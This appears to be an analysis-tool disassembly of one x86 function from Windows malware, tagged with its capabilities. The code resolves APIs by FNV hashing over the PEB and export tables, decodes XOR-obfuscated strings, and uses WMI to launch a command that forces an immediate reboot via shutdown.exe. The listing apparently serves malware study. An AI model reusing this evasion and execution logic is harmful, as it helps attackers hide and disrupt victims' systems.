Function at 0x443160
Capabilities:
Access peb ldr_data
Connect to wmi namespace via wbemlocator
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
push ebx
push esi
push edi
lea eax, [ebp - 0x108]
mov dword [ebp - 0x108], 0
push eax
push 0x401330
push 1
push 0
mov esi, ecx
mov dword [ebp - 0x18], 0
push 0x401400
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10c], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x444419
mov ecx, 0x800
call fcn.004baba0
mov dword [ebp - 0x28], eax
test eax, eax
je 0x444419
mov dword [ebp - 0x1ac], 0x5b
mov ecx, 7
mov word [ebp - 0x1a8], cx
mov eax, 0x7e
mov word [ebp - 0x1a6], cx
mov word [ebp - 0x1a4], ax
mov eax, 0x28
mov word [ebp - 0x1a2], ax
mov eax, 9
mov word [ebp - 0x1a0], cx
mov word [ebp - 0x19e], ax
mov eax, 0x14
mov word [ebp - 0x19c], ax
mov word [ebp - 0x19a], ax
mov eax, 0xf
mov word [ebp - 0x198], ax
mov eax, 0x18
mov word [ebp - 0x196], cx
mov word [ebp - 0x194], ax
mov eax, 0x12
mov word [ebp - 0x192], ax
mov eax, 0x16
mov word [ebp - 0x190], ax
mov eax, 0xd
mov word [ebp - 0x18e], ax
mov eax, 0x69
mov word [ebp - 0x18c], ax
mov eax, 0x5b
mov word [ebp - 0x18a], ax
movzx eax, word [0x40316c]
xor eax, 0x5b
mov word [ebp - 0x188], ax
movzx eax, word [0x40316e]
xor eax, 0x5b
mov word [ebp - 0x186], ax
movzx eax, word [0x403170]
xor eax, 0x5b
mov word [ebp - 0x184], ax
movzx eax, word [0x403172]
xor eax, 0x5b
mov word [ebp - 0x182], ax
movzx eax, word [0x403174]
xor eax, 0x5b
mov word [ebp - 0x180], ax
movzx eax, word [0x403176]
xor eax, 0x5b
mov word [ebp - 0x17e], ax
movzx eax, word [0x403178]
xor eax, 0x5b
mov word [ebp - 0x17c], ax
movzx eax, word [0x40317a]
xor eax, 0x5b
mov word [ebp - 0x17a], ax
movzx eax, word [0x40317c]
xor eax, 0x5b
mov word [ebp - 0x178], ax
movzx eax, word [0x40317e]
xor eax, 0x5b
mov word [ebp - 0x176], ax
movzx eax, word [0x403180]
xor eax, 0x5b
mov word [ebp - 0x174], ax
movzx eax, word [0x403182]
xor eax, 0x5b
mov word [ebp - 0x172], ax
movzx eax, word [0x403184]
xor eax, 0x5b
mov word [ebp - 0x170], ax
movzx eax, word [0x403186]
xor eax, 0x5b
mov word [ebp - 0x16e], ax
movzx eax, word [0x403188]
xor eax, 0x5b
mov word [ebp - 0x16c], ax
xor eax, eax
mov word [ebp - 0x16a], ax
xor edx, edx
mov ax, word [ebp - 0x1a8]
nop dword [eax + eax]
mov ax, word [ebp + edx*2 - 0x1a8]
movzx ecx, ax
movzx eax, word [ebp - 0x1ac]
xor ecx, eax
mov word [ebp + edx*2 - 0x1a8], cx
inc edx
cmp edx, 0x1f
jb 0x4433c0
xor eax, eax
mov word [ebp - 0x16a], ax
lea eax, [ebp - 0x1a8]
push esi
push eax
lea eax, [ebp - 0x28]
push 0x400
push eax
call fcn.004bb120
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 0x18]
add esp, 0x10
mov ecx, dword [eax]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x28]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x444419
push 0x800
push 0xffffffffffffffff
push 3
push 3
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x444419
mov dword [ebp - 0x12c], 0x31
mov eax, 0x72
mov word [ebp - 0x128], ax
mov ecx, 0x54
mov eax, 0x43
mov word [ebp - 0x126], ax
mov eax, 0x50
mov word [ebp - 0x124], cx
mov word [ebp - 0x122], ax
mov eax, 0x45
mov word [ebp - 0x120], ax
mov eax, 0x31
mov word [ebp - 0x11e], cx
mov word [ebp - 0x11c], ax
movzx eax, word [0x40317a]
xor eax, 0x31
mov word [ebp - 0x11a], ax
movzx eax, word [0x40317c]
xor eax, 0x31
mov word [ebp - 0x118], ax
movzx eax, word [0x40317e]
xor eax, 0x31
mov word [ebp - 0x116], ax
movzx eax, word [0x403180]
xor eax, 0x31
mov word [ebp - 0x114], ax
movzx eax, word [0x403182]
xor eax, 0x31
mov word [ebp - 0x112], ax
movzx eax, word [0x403184]
xor eax, 0x31
mov word [ebp - 0x110], ax
xor eax, eax
mov word [ebp - 0x10e], ax
xor edx, edx
mov ax, word [ebp - 0x128]
nop
mov ax, word [ebp + edx*2 - 0x128]
movzx ecx, ax
movzx eax, word [ebp - 0x12c]
xor ecx, eax
mov word [ebp + edx*2 - 0x128], cx
inc edx
cmp edx, 0xd
jb 0x443520
mov ebx, dword [0x4f07d0]
xor eax, eax
mov word [ebp - 0x10e], ax
test ebx, ebx
jne 0x4435e1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 4], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4435c8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 4]
imul eax, eax, 0x1000193
mov dword [ebp - 4], eax
cmp edi, ebx
jne 0x443590
cmp eax, 0x733d6d1e
je 0x444856
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0x10], ecx
cmp eax, edx
je 0x4435d9
cmp dword [ecx + 0x18], 0
jne 0x443571
xor ebx, ebx
mov dword [0x4f07d0], ebx
mov eax, dword [0x4f0790]
test eax, eax
jne 0x443673
test ebx, ebx
je 0x44366c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x44366c
xor ecx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x44366c
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 8], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44365a
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x443625
cmp edi, 0x9b846262
je 0x444861
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x443615
xor eax, eax
mov dword [0x4f0790], eax
lea ecx, [ebp - 0x128]
push ecx
call eax
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x444419
mov dword [ebp - 0x64], 0xd
mov ecx, dword [ebp - 0x64]
xor ecx, 0x57
mov word [ebp - 0x60], cx
mov ecx, dword [ebp - 0x64]
inc ecx
xor ecx, 0x69
mov word [ebp - 0x5e], cx
mov eax, dword [ebp - 0x64]
add eax, 2
xor eax, 0x6e
mov word [ebp - 0x5c], ax
mov eax, dword [ebp - 0x64]
add eax, 3
xor eax, 0x33
mov word [ebp - 0x5a], ax
mov eax, dword [ebp - 0x64]
add eax, 4
xor eax, 0x32
mov word [ebp - 0x58], ax
mov eax, dword [ebp - 0x64]
add eax, 5
xor eax, 0x5f
mov word [ebp - 0x56], ax
mov eax, dword [ebp - 0x64]
add eax, 6
xor eax, 0x50
mov word [ebp - 0x54], ax
mov eax, dword [ebp - 0x64]
add eax, 7
xor eax, 0x72
mov word [ebp - 0x52], ax
mov eax, dword [ebp - 0x64]
add eax, 8
xor eax, 0x6f
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x64]
add eax, 9
xor eax, 0x63
mov word [ebp - 0x4e], ax
mov eax, dword [ebp - 0x64]
add eax, 0xa
xor eax, 0x65
mov word [ebp - 0x4c], ax
mov eax, dword [ebp - 0x64]
add eax, 0xb
xor eax, 0x73
mov word [ebp - 0x4a], ax
mov eax, dword [ebp - 0x64]
add eax, 0xc
xor eax, 0x73
mov word [ebp - 0x48], ax
mov eax, dword [ebp - 0x64]
add eax, 0xd
mov word [ebp - 0x46], ax
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x403198]
add eax, 0xe
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x44], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x40319a]
add eax, 0xf
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x42], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x40319c]
add eax, 0x10
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x40], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x40319e]
add eax, 0x11
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3e], cx
mov eax, dword [ebp - 0x64]
add eax, 0x12
movzx ecx, word [0x4031a0]
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3c], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031a2]
add eax, 0x13
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3a], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031a4]
add eax, 0x14
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x38], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031a6]
add eax, 0x15
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x36], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031a8]
add eax, 0x16
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x34], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031aa]
add eax, 0x17
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x32], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031ac]
add eax, 0x18
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x30], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031ae]
add eax, 0x19
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x2e], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x4031b0]
add eax, 0x1a
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x2c], cx
xor edx, edx
mov word [ebp - 0x2a], ax
mov ax, word [ebp - 0x60]
nop dword [eax + eax]
mov ax, word [ebp + edx*2 - 0x60]
mov ecx, dword [ebp - 0x64]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x60], cx
inc edx
cmp edx, 0x1b
jb 0x443870
mov ebx, dword [0x4f07d0]
xor eax, eax
mov word [ebp - 0x2a], ax
test ebx, ebx
jne 0x443925
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 0x14], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44390c
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x4438d4
cmp eax, 0x733d6d1e
je 0x44487f
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0x14], ecx
cmp eax, edx
je 0x44391d
cmp dword [ecx + 0x18], 0
jne 0x4438b6
xor ebx, ebx
mov dword [0x4f07d0], ebx
mov eax, dword [0x4f0790]
test eax, eax
jne 0x4439be
test ebx, ebx
je 0x4439b7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4439b7
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp dword [eax + 0x18], ecx
je 0x4439b7
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 8], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4439a5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x443970
cmp edi, 0x9b846262
je 0x44488a
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x443960
xor eax, eax
mov dword [0x4f0790], eax
lea ecx, [ebp - 0x60]
push ecx
call eax
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
je 0x444419
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x104]
push 0
push eax
push 0
mov edx, dword [ecx]
push 0
push ebx
push ecx
call dword [edx + 0x18]
test eax, eax
js 0x444419
mov eax, dword [ebp - 0x104]
lea edx, [ebp - 0x100]
push 0
push edx
push 0
push dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x4c]
test eax, eax
js 0x444419
mov eax, dword [ebp - 0x100]
lea edx, [ebp - 0x24]
push edx
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x444419
mov eax, 8
mov word [ebp - 0x1c0], ax
mov dword [ebp - 0xfc], 0x6b
mov eax, dword [ebp - 0xfc]
xor eax, 0x63
mov word [ebp - 0xf8], ax
mov eax, dword [ebp - 0xfc]
inc eax
xor eax, 0x6d
mov word [ebp - 0xf6], ax
mov eax, dword [ebp - 0xfc]
add eax, 2
xor eax, 0x64
mov word [ebp - 0xf4], ax
mov eax, dword [ebp - 0xfc]
add eax, 3
xor eax, 0x2e
mov word [ebp - 0xf2], ax
mov eax, dword [ebp - 0xfc]
add eax, 4
xor eax, 0x65
mov word [ebp - 0xf0], ax
mov eax, dword [ebp - 0xfc]
add eax, 5
xor eax, 0x78
mov word [ebp - 0xee], ax
mov eax, dword [ebp - 0xfc]
add eax, 6
xor eax, 0x65
mov word [ebp - 0xec], ax
mov eax, dword [ebp - 0xfc]
add eax, 7
xor eax, 0x20
mov word [ebp - 0xea], ax
mov eax, dword [ebp - 0xfc]
add eax, 8
xor eax, 0x2f
mov word [ebp - 0xe8], ax
mov eax, dword [ebp - 0xfc]
add eax, 9
xor eax, 0x63
mov word [ebp - 0xe6], ax
mov eax, dword [ebp - 0xfc]
add eax, 0xa
xor eax, 0x20
mov word [ebp - 0xe4], ax
mov eax, dword [ebp - 0xfc]
add eax, 0xb
xor eax, 0x22
mov word [ebp - 0xe2], ax
mov eax, dword [ebp - 0xfc]
add eax, 0xc
xor eax, 0x73
mov word [ebp - 0xe0], ax
mov eax, dword [ebp - 0xfc]
add eax, 0xd
xor eax, 0x68
mov word [ebp - 0xde], ax
mov eax, dword [ebp - 0xfc]
add eax, 0xe
xor eax, 0x75
mov word [ebp - 0xdc], ax
mov eax, dword [ebp - 0xfc]
add eax, 0xf
xor eax, 0x74
mov word [ebp - 0xda], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x10
xor eax, 0x64
mov word [ebp - 0xd8], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x11
xor eax, 0x6f
mov word [ebp - 0xd6], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x12
xor eax, 0x77
mov word [ebp - 0xd4], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x13
xor eax, 0x6e
mov word [ebp - 0xd2], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x14
xor eax, 0x2e
mov word [ebp - 0xd0], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x15
xor eax, 0x65
mov word [ebp - 0xce], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x16
xor eax, 0x78
mov word [ebp - 0xcc], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x17
xor eax, 0x65
mov word [ebp - 0xca], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x18
xor eax, 0x20
mov word [ebp - 0xc8], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x19
xor eax, 0x2f
mov word [ebp - 0xc6], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x1a
xor eax, 0x72
mov word [ebp - 0xc4], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x1b
xor eax, 0x20
mov word [ebp - 0xc2], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x1c
xor eax, 0x2f
mov word [ebp - 0xc0], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x1d
xor eax, 0x66
mov word [ebp - 0xbe], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x1e
xor eax, 0x20
mov word [ebp - 0xbc], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x1f
xor eax, 0x2f
mov word [ebp - 0xba], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x20
xor eax, 0x74
mov word [ebp - 0xb8], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x21
xor eax, 0x20
mov word [ebp - 0xb6], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x22
xor eax, 0x30
mov word [ebp - 0xb4], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x23
xor eax, 0x22
mov word [ebp - 0xb2], ax
mov eax, dword [ebp - 0xfc]
add eax, 0x24
mov word [ebp - 0xb0], ax
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031e2]
add eax, 0x25
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xae], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031e4]
add eax, 0x26
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xac], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031e6]
add eax, 0x27
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xaa], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031e8]
add eax, 0x28
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa8], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031ea]
add eax, 0x29
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa6], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031ec]
add eax, 0x2a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa4], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031ee]
add eax, 0x2b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa2], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031f0]
add eax, 0x2c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa0], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031f2]
add eax, 0x2d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9e], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031f4]
add eax, 0x2e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9c], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031f6]
add eax, 0x2f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9a], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031f8]
add eax, 0x30
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x98], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031fa]
add eax, 0x31
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x96], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031fc]
add eax, 0x32
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x94], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x4031fe]
add eax, 0x33
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x92], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403200]
add eax, 0x34
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x90], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403202]
add eax, 0x35
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8e], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403204]
add eax, 0x36
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8c], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403206]
add eax, 0x37
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8a], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403208]
add eax, 0x38
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x88], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x40320a]
add eax, 0x39
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x86], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x40320c]
add eax, 0x3a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x84], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x40320e]
add eax, 0x3b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x82], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403210]
add eax, 0x3c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x80], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403212]
add eax, 0x3d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7e], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403214]
add eax, 0x3e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7c], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403216]
add eax, 0x3f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7a], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403218]
add eax, 0x40
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x78], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x40321a]
add eax, 0x41
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x76], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x40321c]
add eax, 0x42
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x74], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x40321e]
add eax, 0x43
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x72], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403220]
add eax, 0x44
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x70], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403222]
add eax, 0x45
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6e], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403224]
add eax, 0x46
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6c], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403226]
add eax, 0x47
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6a], cx
mov eax, dword [ebp - 0xfc]
movzx ecx, word [0x403228]
add eax, 0x48
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x68], cx
xor edx, edx
mov word [ebp - 0x66], ax
mov ax, word [ebp - 0xf8]
nop dword [eax]
nop word [eax + eax]
mov ax, word [ebp + edx*2 - 0xf8]
mov ecx, dword [ebp - 0xfc]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0xf8], cx
inc edx
cmp edx, 0x49
jb 0x4440e0
mov ebx, dword [0x4f07d0]
xor eax, eax
mov word [ebp - 0x66], ax
test ebx, ebx
jne 0x4441a1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x444188
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x444150
cmp eax, 0x733d6d1e
je 0x4448a8
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x444199
cmp dword [ecx + 0x18], 0
jne 0x444130
xor ebx, ebx
mov dword [0x4f07d0], ebx
mov eax, dword [0x4f0790]
test eax, eax
jne 0x44423e
test ebx, ebx
je 0x444237
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x444237
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x444237
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x444225
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4441f0
cmp edi, 0x9b846262
je 0x4448b3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4441e0
xor eax, eax
mov dword [0x4f0790], eax
lea ecx, [ebp - 0xf8]
push ecx
call eax
mov dword [ebp - 0x1b8], eax
mov ecx, 0x1f
mov dword [ebp - 0x168], 0x71
mov eax, 0x32
mov word [ebp - 0x164], ax
mov eax, 0x1e
mov word [ebp - 0x162], ax
mov eax, 0x1c
mov word [ebp - 0x160], ax
mov word [ebp - 0x15e], ax
mov eax, 0x10
mov word [ebp - 0x15c], ax
mov eax, 0x15
mov word [ebp - 0x15a], cx
mov word [ebp - 0x158], ax
mov eax, 0x3d
mov word [ebp - 0x156], ax
mov eax, 0x18
mov word [ebp - 0x154], ax
mov eax, 0x14
mov word [ebp - 0x152], cx
mov word [ebp - 0x150], ax
mov eax, 0x71
mov word [ebp - 0x14e], ax
movzx eax, word [0x4031fc]
xor eax, 0x71
mov word [ebp - 0x14c], ax
movzx eax, word [0x4031fe]
xor eax, 0x71
mov word [ebp - 0x14a], ax
movzx eax, word [0x403200]
xor eax, 0x71
mov word [ebp - 0x148], ax
movzx eax, word [0x403202]
xor eax, 0x71
mov word [ebp - 0x146], ax
movzx eax, word [0x403204]
xor eax, 0x71
mov word [ebp - 0x144], ax
movzx eax, word [0x403206]
xor eax, 0x71
mov word [ebp - 0x142], ax
movzx eax, word [0x403208]
xor eax, 0x71
mov word [ebp - 0x140], ax
movzx eax, word [0x40320a]
xor eax, 0x71
mov word [ebp - 0x13e], ax
movzx eax, word [0x40320c]
xor eax, 0x71
mov word [ebp - 0x13c], ax
movzx eax, word [0x40320e]
xor eax, 0x71
mov word [ebp - 0x13a], ax
movzx eax, word [0x403210]
xor eax, 0x71
mov word [ebp - 0x138], ax
xor eax, eax
mov word [ebp - 0x136], ax
xor edx, edx
mov ax, word [ebp - 0x164]
nop word [eax + eax]
mov ax, word [ebp + edx*2 - 0x164]
movzx ecx, ax
movzx eax, word [ebp - 0x168]
xor ecx, eax
mov word [ebp + edx*2 - 0x164], cx
inc edx
cmp edx, 0x17
jb 0x4443b0
xor eax, eax
lea edx, [ebp - 0x1c0]
push 0
mov word [ebp - 0x136], ax
mov eax, dword [ebp - 0x24]
push edx
push 0
lea edx, [ebp - 0x164]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x14]
test eax, eax
js 0x444419
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x10c]
push 0
push edx
push dword [ebp - 0x24]
mov ecx, dword [eax]
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push eax
call dword [ecx + 0x60]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x444427
push eax
